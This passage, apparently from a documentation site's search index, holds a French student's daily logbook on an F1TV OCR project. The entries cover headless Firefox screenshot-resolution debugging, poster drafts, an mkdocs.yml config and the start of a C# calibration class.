de couleur alors c'est que le pneu contient une lettre. Le but est d'arr\u00eater de chercher des lettres ou des chiffres. Comme ca les 11 arr\u00eateront d'\u00eatre pris pour des 'H' En fait on peut faire encore plus simple que ca. On peut simplement regarder la couleur dominante et determiner le pneu. En effet m\u00eame si il y a une lettre sur fond noir pour d\u00e9crire le pneu, mon methode de r\u00e9cup\u00e8ration de la couleur dominante ommet les pixels trop noirs alors il est quand m\u00eame possible de determiner le type de pneus. Et tout simplement si il n'arrive pas \u00e0 lire le chiffre c'est que c'est une lettre et que donc on est \u00e0 0 tours. Cela marche plut\u00f4t bien et cela simplifie pas mal le processing. Voila, la je vais me remettre \u00e0 la documentation sinon je vais encore prendre du retard.","title":"Lundi 24 Avril 2023"},{"location":"jdb.html#mardi-25-avril-2023","text":"Encore une fois j'ai pris du temps de doc pour changer des choses sur la partie OCR. Mais en m\u00eame temps en documentant je vois des choses que j'ai soit mal fait soit que je pourrais faire mieux en changeant tr\u00e8s peu de choses. J'\u00e9sp\u00e8re que les changement que j'ai fait vont aider au moins \u00e0 la coh\u00e9rence du code et un peu pour les performances. Il semble que dans les conditions que j'ai test\u00e9 le nombre de tour soit plut\u00f4t fiable mais je pense que je devrai faire un peu de travail en aval dans la r\u00e9cup\u00e9ration de ces donn\u00e9es car je sens que cela va poser probl\u00e8me quelques fois. Je pense que en utilisant bien l'historique on peut potentiellement se passer de l'utilisation de ce chiffre pas toujours compl\u00eatement fiable. Mais sinon aujourd'hui c'est encore une fois un gros jour de doc. J'essaie d'expliquer les diff\u00e9rents proc\u00e9d\u00e9s avant de les oublier. J'essaie aussi de donner un maximum d'exemples sous formes de photos interm\u00e9diaires mais ca me prend pas mal de temps car il faut que j'ajoute un peu partout dans le code des lignes pour sortir des images interm\u00e9diaires. En plus de la documentation je me suis aussi beaucoup occup\u00e9 de nettoyer mon code et je suis assez content par ce que m\u00eame en ayant du rajouter des couches de complexit\u00e9 pour mieux reconnaitres les temps au tour j'arrive \u00e0 un temps de processing parfois en dessous des 2 secondes ce que je trouve honorable. Quand j'aurai finit de nettoyer tous mes fichiers je ferai une release sur gitea et ce sera la version que j'utiliserai quand je voudrai faire un merge avec les autres parties du projet. J'ai beaucoup beaucoup boss\u00e9 aujourd'hui et je sui bien mort. Faire autant de documentation et de nettoyage de code c'est pas forc\u00e9ment bon pour le cerveau je crois. J'ai besoin d'une sieste. Demain je pense que je vais commencer \u00e0 avancer sur la partie r\u00e9cup\u00e8ration des images. Je sais que la je fais un peu passer les tests \u00e0 la trappe mais d\u00e9ja j'en ai fait tout le long du d\u00e9veloppement de OCR_DECODE et il faut vraiment que j'avance, quitte \u00e0 revenir dessus quand j'aurai merge les deux projets ensemble.","title":"Mardi 25 Avril 2023"},{"location":"jdb.html#26-avril-2023","text":"Aujourd'hui je vais devoir m'occuper de la partie r\u00e9cup\u00e9ration des images. J'ai d\u00e9ja eu l'occasion d'avancer sur ce projet pendant mopn poc et mes vacances. Donc la le but ca va \u00eatre de voir ce qui manque comme v\u00e9ritables features et ensuite je vais pouvoir m'occuper de la vue et de son int\u00e9gration avec le d\u00e9codage. Ok donc maintenant que j'au un programme qui arrive \u00e0 prendre des images depuis la F1TV correctement et en bonne r\u00e9solution. Je pense qu'il est temps de passer \u00e0 l'impl\u00e9mentation de la Forme que ca va prendre. C'est important de se poser au moins cinq minutes la question de comment je pr\u00e9vois de faire car m\u00eame si ca n'est pas la version finale, cette derni\u00e8re prendra tr\u00e8s fort inspiration du desing que je vais faire. Dans cette form j'aurais besoin de : Pouvoir selectionner un Grand Prix en ins\u00e8rant l'URL du feed. Pouvoir lancer la calibration si besoin Indiquer le titre et la date du Grand Prix Indiquer si le Grand Prix vient de commencer ou si il y a d\u00e9ja un certain nombre de tours lanc\u00e9s. Et c'est \u00e0 peu pr\u00e8s tout en fait... J'ai tellement pouss\u00e9 pour avoir un programme qui fait tout tout seul que il ne me faut pas grand chose de plus. Je pense que ce qui serait pas mal ca serait du coup d'utiliser ce temps pour bien impl\u00e9menter la calibration qui elle aura besoin d'une UI un peu plus bal\u00e8ze. On pourrait m\u00eame imaginer que la calibration fasse partie int\u00e9grante des settings... Ca serait peut-\u00eatre bien que quand l'application se lance on se retrouve sur la page principale d'affichage de donn\u00e9es et qu'on puisse simplement cliquer sur la page options qui contient la page calibration et qui permet de rentrer les infos du Grand Prix. Je pense que je vais faire ca. Voici l'interface que j'ai d\u00e9velopp\u00e9e pour regrouper tout ca : \"Screen\" La police le style le placement et les couleurs ne sont pas d\u00e9finitfs, cependant je pense que c'est un bon d\u00e9but. Le but maintenant va \u00eatre de permettre de faire fonctionner la calibration et la r\u00e9cup\u00e8ration d'images. Si j'arrive \u00e0 faire fonctionner ces deux choses sur un m\u00eame projet avant la fin de la semaine cela serait super ! Bon J'ai pu avancer sur l'int\u00e8gration de Selenium mais cela prend un peu de temps car je veux impl\u00e9metner un moyen de pouvoir prendre une Screenshot \u00e0 nimporte quel moment et pas juste en boucle. Demain je finis de faire fonctionner ca et ensuite je commence le cablage du reste.","title":"26 Avril 2023"},{"location":"jdb.html#jeudi-27-avril-2023","text":"C'est assez dur de faire l'importation car il y a des petites diff\u00e9rences qui obligent \u00e0 presque tout r\u00e9\u00e9crire. En fait le programme de calibration avait d\u00e9ja impl\u00e9ment\u00e9 la fonction de Windows et de Zones mais il fonctionnait juste assez diff\u00e9remment pour qu'il faille tout refaire. La je suis en train de perdre \u00e9norm\u00e9ment de temps \u00e0 cause d'un soucis de coordonn\u00e9es. J'ai repris le code de la calibration pour detecter ou l'utilisateur a cliqu\u00e9 pour cr\u00e9er les zones. Cependant, je n'arrive pas \u00e0 le faire fonctionner correctement. La zone est tout le temps d\u00e9cal\u00e9e en haut et en bas mais pas de la m\u00eame facon. En haut, la valeur Y est trop grande alors que en bas la valeur Y est trop petite... Je ne comprends pas bien pourquoi. Si c'\u00e9tait un simple d\u00e9calage cela ne serait pas compliqu\u00e9 \u00e0 g\u00e8rer mais la... J'ai un soucis \u00e9galement avec la r\u00e9solution des screenshots que je r\u00e9cup\u00e8re en full Headless. Voici un exemple de r\u00e9solution que j'arrive \u00e0 r\u00e9cup\u00e8rer sans le headless : \"High Res\" \"Low Res\" Il y a clairement un soucis et le probl\u00e8me c'est que avec une r\u00e9solution pareille, impossible de faire une reconnaissance correcte. BON J?EN PEUX PLUS LA. Ca fait des heures que je bosse sur ce probl\u00e8me d\u00e9bile et impossible de trouver une solution. J'ai essay\u00e9 cinq facons de forcer le browser headless a prendre une plus haute r\u00e9solution aucune ne fonctionne je ne comprends pas. A chaque fois que je me retrouve avec une r\u00e9solution de 1366 x 768 Ou une variante de basse r\u00e9solution du style. J'en peux plus je ne trouve aucune r\u00e9ponse sur internet ni m\u00eame avec chatGPT. Super... La seule chose que j'ai pu faire qui change quelque chose fait que les images font maintenant du 926x517... j'ai un peu envie de commentre un crime de guerre au plus vite.","title":"Jeudi 27 Avril 2023"},{"location":"jdb.html#vendredi-28-avril-2023","text":"Une des solutions que je n'ai pas encore essay\u00e9 est de changer ma version de GeckoDriver. Sauf que ca m'oblige \u00e0 changer les versions de mes libraries ce qui est tr\u00e8s p\u00e9nible, je vais continuer le debugging dans le projet Selenium_clean. Il faut savoir que la librairie de Selenium que j'utilise est bloqu\u00e9e en 0.27 ce qui fait que je ne peux utiliser qu'une version obsol\u00e8te du Gecko Driver. J'ai tent\u00e9 de changer vers une version en 64 bits du GeckoDriver 0.27 mais pareil, je me retrouve toujours avec des images de M. J'essaie toutes les solutions que je trouve sur internet aucune ne convient c'est infernal. J'essaie de changer la r\u00e9solution DPI, j'essaie de changer les param\u00eatres par d\u00e9faut des player de Firefox, j'essaie de changer la r\u00e9solution pendant et au d\u00e9but de l'execution IMPOSSIBLE DE FAIRE MARCHER CETTE MERDE C'EST PAS POSSIBLE !!! J'ai essay\u00e9 avec chrome mais je ne peux pas l'utiliser car les DRM m'emp\u00eacheront de prendre des screenshot du flux vid\u00e9o. J'ai essay\u00e9 de faire tourner avec edge mais edge ne peut pas tourner en headless. JE VAIS DEVENIR FOUF FPWQOVMQEKOVNVIBDBJDAIVOBI. ET MAINTENANT JE N'ARRIVE PLUS A FAIRE DE PROJET AVEC SELENIUM VOIWQNV(UEWQBVU)WEQN=OEJNIVIUWVBWUEV ON CHERCHE A ME FAIRE PETER UN PLOMB C'EST PAS POSSIBLE GIWEGUWEQN VOICI UN EXEMPLE DU CODE QUE JE DEMANDE A UN NOUVEAU PROJET AVEC EXACTEMENT LES MEMES LIBRARIES INSTALLEES : // Create a new FirefoxDriver instance IWebDriver driver = new FirefoxDriver(); // Navigate to the specified URL driver.Navigate().GoToUrl(\"https://www.example.com\"); // Do something with the driver (e.g., find elements or take screenshots) // Quit the driver driver.Quit(); Je ne demande que ca ET MEME CA CA NE VEUT PAS FONCTIONNER VOIWENB)IWUQENV Oui je suis un peu \u00e9nerv\u00e9 ca se voit? A bon? Et maintenant NUGGET ne fonctionne plus... j'en peux plus la. Je ne peux plus t\u00e9l\u00e9charger de librairie sur aucun de mes projets... J'ai tent\u00e9 de supprimer le fichier de config et red\u00e9marrer Visual Studio mais cela ne fait rien. J'ai aussi tent\u00e9 de faire un 'nugget restore' toujours rien. Bon apparemment je ne suis pas le seul qui ne peut pas acc\u00e8der \u00e0 Nuget donc bon c'est pas juste chez moi qu'il y a un soucis. Mais m\u00eame en mettant ma 4G pour me connecter, je n'arrive pas \u00e0 acc\u00e8der \u00e0 certains sites y compris Nuget et je ne peux pas download de librairies... Je ne comprends pas ce qui se passe et du coup je ne peux juste pas bosser... J'ai red\u00e9marr\u00e9 trois fois mon pc et visual studio, j'ai essay\u00e9 de changer mes settings DNS etc... impossible de bosser. Je crois que je n'aurais pas du me reveiller aujourd'hui. Bon je vais tenter d'avancer sur mon poster en attendant que le r\u00e9seau soit en meilleur \u00e9tat.","title":"Vendredi 28 Avril 2023"},{"location":"jdb.html#lundi-1-mai-2023","text":"Bon je bosse depuis chez moi donc j'esp\u00e8re que Nuget va mieux fonctionner. Apr\u00e8s un weekend \u00e0 r\u00e9fl\u00e9chir au sujet de cette resolution je me suis dit deux choses. La seule personne sur internet que j'ai vu avoir le meme soucis avait une r\u00e9solution de 1920x1200 comme moi. Cela veut donc s\u00fbrement dire que le soucis vient de cette r\u00e9solution de laptop comme moi. Si vraiment je n'arrive pas dans un premier temps \u00e0 faire fonctionner le Headless correctement, je peux toujours laisser la page de c\u00f4t\u00e9 et m'occuper du reste du programme. Certes ca serait vraiment infernal d'avoir \u00e0 garder une page chrome ouvert en tous temps et en plus elle doit \u00eatre en plein \u00e9cran mais bon... Si il n'y a vraiment pas d'autres solutions malheureusement je serai bien oblig\u00e9. BON ! JE N'ARRIVE MEME PLUS A FAIRE UN PROJET QUI UTILISE SELENIUM ET QUI MARCHE JE VAIS FAIRE BR\u00dbLER GENEVE. C'est pas possible serieux, je ne comprends pas j'essaie tout ce que je trouve et impossible de juste lancer firefox c'est du grand nimporte quoi. Je prend les m\u00eame putain de librairies que sur les autres projets les m\u00eames versions, je prend le m\u00eame exact code. Sur le nouveau projet impossible de le faire fonctionner. Je commence \u00e0 croire que on essaie de me faire p\u00eater un cable. Du coup dans un \u00e9lan de d\u00e9sespoir je vais tenter de passer sur une autre librairie qui avec un peu de chance marche et en plus me permettrais de prendre des foutues screenshot dans le bon format. Les deux seules librairies qui pourraient potentiellement faire l'affaire sont les librairies : PhantomJS CefSharp Je vais les tester et simplement prier pour qu'elles fonctionnent et que je puisse faire ce que je veux avec. Alors pour le moment avec CEFSharp j'arrive \u00e0 lancer une instance de chrome et prendre une screenshot avec ce code : CefSettings settings = new CefSettings(); settings.CachePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), \"CefSharp\\\\Cache\"); // Set cache path settings.LogSeverity = LogSeverity.Disable; // Disable logging Cef.Initialize(settings); // Initialize CEF using (var browser = new ChromiumWebBrowser(\"www.google.com\", new BrowserSettings())) // Launch Chromium in off-screen mode { browser.Load(\"https://www.example.com\"); // Navigate to the test URL browser.Size = new Size(1920, 1080); // Set the browser size to 1920x1080 browser.ScreenshotAsync().ContinueWith(task => { var bitmap = task.Result; bitmap.Save(\"screenshot.png\", System.Drawing.Imaging.ImageFormat.Png); // Take a screenshot and save it as a PNG file }).Wait(); } Cef.Shutdown(); // Shutdown CEF Avec ca il faut ces using : using System; using System.Drawing; using System.IO; using CefSharp; using CefSharp.OffScreen; C'est assez prometteur m\u00eame si il faut encore beaucoup pour remplacer selenium. Ah bah lol en fait non on peut pas utiliser cette librarie pour faire tourner firefox... J'EN AI MARRE J'AVAIS CHERCHE PRECISEMENT UNE LIB QUI MARCHE AVEC FIREFOX Et phantomJS non plus ne fonctionne pas avec firefox... J'en ai marre. Donc je vais plut\u00f4t partir sur la librairie GeckoFX qui semble pouvoir contr\u00f4ler une instance de firefox. Mais j'avais justement pris un putain de projet C# et pas JS pour ne pas me taper ces probl\u00e8mes de librairies... Et si cette option ne fonctionne pas mon dernier espoir sera de directement int\u00e9ragir avec le geckodriver.exe et la ca risque de pas \u00eatre dr\u00f4le. JE NE COMPRENDS RIEN !!!!! Ca n'a aucun sens la doc est inexistante le seul lien qui pourrait amener sur une doc envoie sur la page principale de bitbucket. Tous les exemples de code que je trouve ne fonctionnent pas. Je n'arrive \u00e0 rien je commence \u00e0 devenir fou. Tout ce travail pour rien c'est pas possible. M\u00eame en essayant directement d'int\u00e9ragir avec le process geckodriver.exe je ne peux pas arriver \u00e0 mes fins. J'arrive \u00e0 lancer le service et tout, mais je n'arrive pas \u00e0 vraiment contr\u00f4ler ce qu'il se passe donc impossible de venir prendre des screenshot. Je ne sais tout simplement pas quoi faire ... Je suis bloqu\u00e9. Je me suis cass\u00e9 la t\u00eate \u00e0 faire un truc qui marchait bien avec selenium et tout. Mais maintenant plus rien ne fonctionne du jour au lendemain et il n'y a simplement aucune alternative. Je vais essayer de changer directement le projet Selenium_Clean mais bon ca va pas \u00eatre dr\u00f4le. Ok alors j'ai tout repris depuis le d\u00e9but et je crois que j'ai enfin une solution. Pour la trouver j'ai re-essay\u00e9 toutes les techniques que j'avais tent\u00e9 avant mais dans l'ordre et en les isolant \u00e0 chaque fois. Cela inclus : Tenter de changer la densit\u00e9 de pixels. En effet je me suis dit que comme la r\u00e9solution \u00e9tait plus basse le soucis \u00e9tait que le virtual screen avait simplement une DPI r\u00e9duite. profile.SetPreference(\"layout.css.devPixelsPerPx\", \"2.0\"); J'ai aussi tent\u00e9 de r\u00e9duire \u00e0 un seule le nombre de process de Firefox. J'ai pu lire sur internet que parfois cela pouvait influer sur les performances du renderer. profile.SetPreference(\"dom.ipc.processCount\", 1); Ensuite j'ai tent\u00e9 tout b\u00eatement de rajouter dans la liste des arguments la taille voulue de l'\u00e9cran. options.AddArgument(\"--window-size=1920,1080\"); Mais comme cela ne foncionnait pas, je me suis rabattu sur un script JS pour tenter de forcer la fen\u00eatre \u00e0 \u00eatre plus grande. js.ExecuteScript(\"window.resizeTo(1920, 1080);\"); Comme cela n'a pas march\u00e9 j'ai pu lire que cela pouvait \u00eatre la taille int\u00e9rieure qui devait \u00eatre chang\u00e9e js.ExecuteScript(\"window.innerWidth = 1920; window.innerHeight = 1080;\"); Encore une fois sans succ\u00e8s. J'ai ensuite tent\u00e9 d'utiliser trois autres versions du GeckoDriver, 0.27,0.26,0.25 et aucune ne m'aidait. Mais en fait la seule chose qui a chang\u00e9 quoi que ce soit \u00e9tait la technique suivante : Changer la window size en utilisant : options.AddArgument(\"--width=1920\"); options.AddArgument(\"--height=1200\"); Ca ne marchait pas car j'utilisais une autre methode pour resize en m\u00eame temps, qui elle ne marchait pas mais qui emp\u00eachait celle la de marcher. Ensuite le soucis que j'avais c'est que en mettant 1920-1080 je me retrouvais avec 1920-998 ou un truc du genre ce qui n'\u00e9tait pas normal alors je me disais que cette technique ne marchait pas non plus et je l'ai pass\u00e9e. Alors tout n'est pas encore gagn\u00e9, il faut que j'arrive \u00e0 impl\u00e9menter ca dans un plus gros projet et que la vid\u00e9o puisse \u00eatre prise seule. Demain je m'occupe de ca.","title":"Lundi 1 Mai 2023"},{"location":"jdb.html#mardi-2-mai-2023","text":"Bon aujourd'hui je change le programme principal. Le soucis que j'ai c'est que en ajoutant ce syst\u00e8me de resize, maintenant la page fait 100x100 et est grise. Il doit y avoir une technique que j'ai oubli\u00e9 de retirer ou un comportement un peu bizarrre. Bon clairement je ne sais pas QUI DECIDE DE ME POURRIR LA VIE mais il est fort. J'ai t\u00e9l\u00e9charger EXACTEMENT les m\u00eames librairies que sur mon autre projet et j'utilise l'EXACT m\u00eame geckodriver.exe mais dans le projet principal impossible de lui faire chier une image m\u00eame avec l'EXACT m\u00eame code. POURQUOI VOUS ME FAITES CA????= La je ne comprend vraiment pas ce qui peut se passer pour que rien ne fonctionne alors que tout est pareil. JE VIENS DE TOUT VERIFIER TOUT EST PAREIL JE NE COMPRENDS PAS. Bon apr\u00e8s avoir supprim\u00e9 l'int\u00e9gralit\u00e9 de ma classe Emulator cela semble marcher un peu mieux. Je ne vais pas m'\u00e9tendre sur la castrophe niveau temps que cela repr\u00e9sente. Si au moins j'arrive \u00e0 faire fonctionner quelque chose je suis content. Maintenant j'ai un soucis un peu sp\u00e9cial. Depuis que j'ai chang\u00e9 la r\u00e9solution, il semble que le programme aie du mal \u00e0 cliquer sur l'icone de settings. En prenant des screenshots du moment ou l'erreur apparait, j'ai pu me rendre compte que en fait le stream est toujours en train de charger et c'est pour ca que on arrive pas \u00e0 trouver le bouton : \"ERROR 105\" \"ERROR 105\" Je pense que je n'ai le soucis que maintenant car le flux en 1080p se lance moins vite. Je vais essayer de voir si je peux detecter un \u00e9l\u00e9ment d'HTML qui correspond au loading comme ca je peux attendre qu'il disparaisse. Sinon je peux aussi juste essayer de trouver le bouton en boucle pendant une dixaine de secondes. Bon la j'essaie pendant genre plus de 50 secondes et ca ne marche toujours pas. Il semblerait que au final le probl\u00e8me vienne du GP d'azerbidjan. En effet, quand je teste un autre Grand Prix tout va bien. ET MERDE ! J'ai r\u00e9ussi \u00e0 avoir des images en 1080P mais d\u00e9s que je passe l'image en plein \u00e9cran c'est de nouveau du 1366X768 Avant de mettre en plein \u00e9cran: \"Before fullscreen\" Apr\u00e8s: \"After fullscreen\" On peut voir sur l'image que l'option 1080P est effectivement bien selectionn\u00e9e mais il doit y avoir un param\u00e8tre de Firefox qui s'occupe de la r\u00e9solution d'un player vid\u00e9o. Il va juste falloir trouver ce param\u00eatre... J'ai essay\u00e9 d'utiliser : Driver.Manage().Window.Size = new System.Drawing.Size(windowWidth, windowHeight); Sans succ\u00e8s. options.AddArgument(\"--start-maximized\"); Pareil Driver.Manage().Window.Maximize(); Toujours rien profile.SetPreference(\"full-screen-api.ignore-widgets\", true); Nada profile.SetPreference(\"media.hardware-video-decoding.enabled\", true); Toujours pas J'ai vraiment cru que j'avais trouv\u00e9 la solution en trouvant cette commande profile.SetPreference(\"full-screen-api.enabled\", true); Mais non toujours pas... Je commence \u00e0 perdre patience. C'EST BON. Apr\u00e8s litt\u00e9rallement 3h de debugging avec M.Bonvin (Que je remercie IMMENSEMENT) on a r\u00e9ussi \u00e0 trouver au fin fond d'un thread github que la valeur \u00e9tait hard cod\u00e9e dans les variables d'environnement et que donc quoi que je fasse je n'aurais pas pu le changer. En fait la seul moyen de tout r\u00e8gler a \u00e9t\u00e9 de changer les variables d'environnement de ma machine: MOZ_HEADLESS_WIDTH et MOZ_HEADLESS_HEIGHT . Et ce qu'il y a de bien c'est que maintenant je peux mettre de la 4K et cela permet de faire un meilleur upscaling.","title":"Mardi 2 Mai 2023"},{"location":"jdb.html#recrutement-payerne-mai-2023","text":"J'ai du faire mon recrutement \u00e0 Payerne Mercredi et Jeudi. Si vous \u00eates curieux je peux vous dire que comme il n'y avait presque plus de places cet \u00e9t\u00e9 je ferai Canonnier Lance mines. C'\u00e9tait assez frustrant d'avoir perdu deux jours de travail mais on va faire avec.","title":"Recrutement Payerne Mai 2023"},{"location":"jdb.html#vendredi-5-mai-2023","text":"Bon malgr\u00e9s les courbatures il faut que je me mette au boulot un peu serieusement par ce que sinon ca va \u00eatre compliqu\u00e9 de rattraper mon retard. La derni\u00e8re fois si je me souviens bien j'avais r\u00e9ussi \u00e0 trouver un moyen de prendres des images en bonne r\u00e9solution. Il faut maintenant que je commence \u00e0 faire fonctionner la calibration et ce qui serait bien ca serait que je commence \u00e0 ajouter la partie OCR au projet. Il faut que je me d\u00e9p\u00eache car Lundi je dois m'occuper du Poster. OK j'ai compris le soucis que j'avais quand j'essayais de faire la calibration. J'avais mis l'image en ZOOM ce qui fait que si la hauteur n'\u00e9tait pas la bonne, l'image \u00e9tait recentr\u00e9e ce qui fait que cela faussait totalement les r\u00e9sultats. Quand on fait en sorte que l'image prenne toute la place, les coordonn\u00e9es sont prises correctement. Voici un exemple d'ou en est la partie calibration. \"Exemple settings UI\" Normalement il me suffit d'impl\u00e9menter les windows, et on devrait relativement facilement ajouter les pilotes. Et voila. J'ai pu impl\u00e9menter les windows et les pilotes. Et je peux aussi exporter des presets et les loader. Bon le loading est un peu beugg\u00e9 au niveau de l'affichage mais il semble qu'il fonctionne bien quand je save les images. Lundi je m'occupe du poster etc.. mais je pense que la suite va \u00eatre l'impl\u00e9mentation de l'OCR.","title":"Vendredi 5 Mai 2023"},{"location":"jdb.html#lundi-8-mai-2023","text":"Aujourd'hui c'est journ\u00e9e Poster. Je pense que je ne vais pas finir la journ\u00e9e content car les limitations sont un peu trop pr\u00e9sentes. J'ai fait une version que Garcia pourrait accepter, c'est \u00e0 dire en noir et blanc et avec un tout petit peu plus de d\u00e9tail. \"Poster V3\" Le truc c'est que en blanc je trouve que ca ne marche pas super. Et le concept d'avoir trois parties au projet qui se posent autour d'un circuit c'est peut-\u00eatre pas la meilleure id\u00e9e. Je me suis dit que la bonne id\u00e9e serait peut-\u00eatre de prendre un autre circuit pour qu'il y aie bien trois parties : \"Poster V4\" Clairement ce poster doit faire partie des pires. C'est pas clair et ca part dans tous les sens. Je vais essayer avec un autre layout de circuit. \"Poster V5\" Je me suis ensuite dit que le circuit n'\u00e9tait peut \u00eatre tout simplement pas une bonne id\u00e9e. J'ai donc essay\u00e9 de faire quelque chose de plus classique avec juste un peu de background pour qu'on puisse \u00e9viter le soucis de la page blanche derri\u00e8re : \"Poster V6\" Puis je me suis dit que finalement le circuit me manquait. Alors j'ai d\u00e9cid\u00e9 de combiner le background et le circuit ainsi que simplifier l\u00e9g\u00e8rement les diagrammes en retouchant un peu tout le reste on pouvait arriver \u00e0 quelque chose de sympatique : \"Poster V7\" Je ne suis pas content \u00e0 100% mais bon je pense que je vais m'en satisfaire. Pour donner une id\u00e9e de la gal\u00e8re que c'est de cr\u00e9er un poster, voici ce \u00e0 quoi ressemble mon espace de travail Figma : \"Bordel Figma\" Je ne suis pas un graphiste et ca se voit '^^. Je pense que comme il me reste un peu de temps aujourd'hui, je vais faire un peu de documentation de la partie r\u00e9cup\u00e8ration d'images. En effet, je pense que je n'aurai plus besoin de changer grand chose \u00e0 ce niveau. Mais je ne ferai pas la partie analyse fonctionnelle car l'interface n'est clairement pas termin\u00e9e. En fait j'avais oubli\u00e9 mais j'ai eu un rendez vous m\u00e9dical du coup je n'ai pas eu trop le temps de faire la doc que je voulais. Mais au moins je pense avoir finit mon travail sur le poster et le abstract en Anglais qui sont les deux gros livrables \u00e0 venir.","title":"Lundi 8 Mai 2023"},{"location":"jdb.html#mardi-9-mai-2023","text":"Bon je viens de me rendre compte que apparemment on doit rendre l'abstract anglais, le Poster, ET LE PROJET. Je pense que mes deux jours \u00e0 l'arm\u00e9e m'ont fait perdre un peu la notion du temps car j'avais l'impression que l'evaluation interm\u00e9diaire 1 \u00e9tait il y a genre moins d'une semaine. Donc aujourd'hui je ne vais pas trop avancer sur le code et vraiment me focus sur la documentation de la r\u00e9cup\u00e8ration d'images. Je pense que je vais aussi ajouter la partie calibration \u00e0 la documentation. Je pense que c'est important que je prenne le temps maintenant car sinon le prof aura l'impression que ca n'a pas trop avanc\u00e9 depuis la derni\u00e8re fois. Et puis je pense que la partie calibration et r\u00e9cup\u00e8ration d'images ne va pas trop changer et la partie calibration encore moins. La partie anglaise je fais la revoir un peu mais je l'avais d\u00e9ja faite pendant les premiers jours alors ca devrait aller. Pour le rendu il nous \u00e9tait demand\u00e9 de fournir un fichier PDF avec tout dedans avec une table des mati\u00e8res notre code source etc... Pour ce faire j'ai du changer le mkdocs.yml et installer des packages. Voici les changements :: site_name: Documentation Track Trends site_author: Rohmer Maxime copyright: \u00a9CFPTI Tech2 theme: name: material palette: # Palette toggle for light mode - media: \"(prefers-color-scheme: light)\" scheme: default toggle: icon: material/brightness-7 name: Switch to dark mode # Palette toggle for dark mode - media: \"(prefers-color-scheme: dark)\" scheme: slate toggle: icon: material/brightness-4 name: Switch to light mode markdown_extensions: - attr_list - md_in_html - pymdownx.highlight plugins: - glightbox - search - img2fig - with-pdf: cover_subtitle: Vroum Vroum enabled_if_env: ENABLE_PDF_EXPORT - annexes-integration: annexes: # Required (at least 1) - ConfigurationTool.cs: Code/ConfigurationTool.cs # An path to an annex with its title - DriverGapToLeaderWindow.cs: Code/DriverGapToLeaderWindow.cs # An path to an annex with its title - DriverPositionWindow.cs: Code/DriverPositionWindow.cs # An path to an annex with its title - F1TVEmulator.cs: Code/F1TVEmulator.cs # An path to an annex with its title - Program.cs: Code/Program.cs # An path to an annex with its title - Window.cs: Code/Window.cs # An path to an annex with its title - DriverData.cs: Code/DriverData.cs # An path to an annex with its title - DriverLapTimeWindow.cs: Code/DriverLapTimeWindow.cs # An path to an annex with its title - DriverSectorWindow.cs: Code/DriverSectorWindow.cs # An path to an annex with its title - Form1.cs: Code/Form1.cs # An path to an annex with its title - Reader.cs: Code/Reader.cs # An path to an annex with its title - Zone.cs: Code/Zone.cs # An path to an annex with its title - DriverDrsWindow.cs: Code/DriverDrsWindow.cs # An path to an annex with its title - DriverNameWindow.cs: Code/DriverNameWindow.cs # An path to an annex with its title - DriverTyresWindow.cs: Code/DriverTyresWindow.cs # An path to an annex with its title - OcrImage.cs: Code/OcrImage.cs # An path to an annex with its title - Settings.cs: Code/Settings.cs # An path to an annex with its title - recoverCookiesCSV.py: Code/recoverCookiesCSV.py # An path to an annex with its title Je remercie Monsieur Briard le sultan officiel de Mkdocs de la classe de m'avoir aid\u00e9 pour cette partie et avoir cr\u00e9\u00e9 un plugin qui me permet de mettre mon code source directement dans le pdf. Bon au final j'ai quand m\u00eame chang\u00e9 mon poster \"Poster V8\" Mais je suis trop attach\u00e9 \u00e0 l'ancien concept alors je vais plut\u00f4t utiliser ca : \"Poster V9\"","title":"Mardi 9 Mai 2023"},{"location":"Code/ConfigurationTool.html","text":"ConfigurationTool.cs \ufeff/// Author : Maxime Rohmer /// Date : 08/05/2023 /// File : ConfigurationTool.cs /// Brief : Class that contains all the methods needed to create a config file for the OCR /// Version : 0.1 using System; using System.Collections.Generic; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using Tesseract; using System.IO; namespace Test_Merge { public class ConfigurationTool { public Zone MainZone; public const int NUMBER_OF_DRIVERS = 20; public const int NUMBER_OF_ZONES = 9; public const string CONFIGS_FOLDER_NAME = \"./Presets/\"; public ConfigurationTool(Bitmap fullImage, Rectangle mainZoneDimensions) { MainZone = new Zone(fullImage, mainZoneDimensions,\"Main\"); AutoCalibrate(); } public void ResetMainZone() { MainZone.ResetZones(); } public void ResetWindows() { MainZone.ResetWindows(); } public void SaveToJson(List drivers, string configName) { string JSON = \"\"; JSON += \"{\" + Environment.NewLine; JSON += MainZone.ToJSON() + \",\" + Environment.NewLine; JSON += \"\\\"Drivers\\\":[\" + Environment.NewLine; for (int i = 0; i < drivers.Count; i++) { JSON += \"\\\"\" + drivers[i] + \"\\\"\"; if (i < drivers.Count - 1) JSON += \",\"; JSON += Environment.NewLine; } JSON += \"]\" + Environment.NewLine; JSON += \"}\"; if (!Directory.Exists(CONFIGS_FOLDER_NAME)) Directory.CreateDirectory(CONFIGS_FOLDER_NAME); string path = CONFIGS_FOLDER_NAME + configName; if (File.Exists(path + \".json\")) { //We need to create a new name int count = 2; while (File.Exists(path + \"_\" + count + \".json\")) { count++; } path += \"_\" + count + \".json\"; } else { path += \".json\"; } File.WriteAllText(path, JSON); } public void AddWindows(List rectangles) { foreach (Zone driverZone in MainZone.Zones) { Bitmap zoneImage = driverZone.ZoneImage; for (int i = 1; i <= rectangles.Count; i++) { switch (i) { case 1: //First zone should be the driver's Position driverZone.AddWindow(new DriverPositionWindow(driverZone.ZoneImage, rectangles[i - 1], false)); break; case 2: //First zone should be the Gap to leader driverZone.AddWindow(new DriverGapToLeaderWindow(driverZone.ZoneImage, rectangles[i - 1], false)); break; case 3: //First zone should be the driver's Lap Time driverZone.AddWindow(new DriverLapTimeWindow(driverZone.ZoneImage, rectangles[i - 1], false)); break; case 4: //First zone should be the driver's DRS status driverZone.AddWindow(new DriverDrsWindow(driverZone.ZoneImage, rectangles[i - 1], false)); break; case 5: //First zone should be the driver's Tyre's informations driverZone.AddWindow(new DriverTyresWindow(driverZone.ZoneImage, rectangles[i - 1], false)); break; case 6: //First zone should be the driver's Name driverZone.AddWindow(new DriverNameWindow(driverZone.ZoneImage, rectangles[i - 1], false)); break; case 7: //First zone should be the driver's First Sector driverZone.AddWindow(new DriverSectorWindow(driverZone.ZoneImage, rectangles[i - 1], 1, false)); break; case 8: //First zone should be the driver's Second Sector driverZone.AddWindow(new DriverSectorWindow(driverZone.ZoneImage, rectangles[i - 1], 2, false)); break; case 9: //First zone should be the driver's Position Sector driverZone.AddWindow(new 